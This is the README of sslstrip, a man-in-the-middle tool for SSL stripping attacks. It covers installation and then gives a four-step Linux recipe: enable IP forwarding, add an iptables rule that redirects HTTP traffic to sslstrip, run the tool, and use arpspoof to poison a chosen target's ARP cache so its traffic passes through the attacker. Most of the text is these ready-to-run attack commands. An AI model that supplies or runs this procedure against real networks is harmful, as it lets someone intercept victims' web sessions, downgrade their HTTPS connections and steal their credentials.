sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

It requires Python 2.5 or newer, along with the 'twisted' python module.

Installing:

• Unpack: tar zxvf sslstrip-0.5.tar.gz
• Install twisted: sudo apt-get install python-twisted-web
• (Optionally) run 'python setup.py install' as root to install, or you can just run it out of the directory.

Running: sslstrip can be run from the source base without installation.
Just run 'python sslstrip.py -h' as a non-root user to get the command-line options.

The four steps to getting this working (assuming you're running Linux) 
are:

1) Flip your machine into forwarding mode (as root):
   echo "1" > /proc/sys/net/ipv4/ip_forward

2) Setup iptables to intercept HTTP requests (as root):
   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>

3) Run sslstrip with the command-line options you'd like (see above).

4) Run arpspoof to redirect traffic to your machine (as root):
   arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>

More Info: http://www.thoughtcrime.org/software/sslstrip/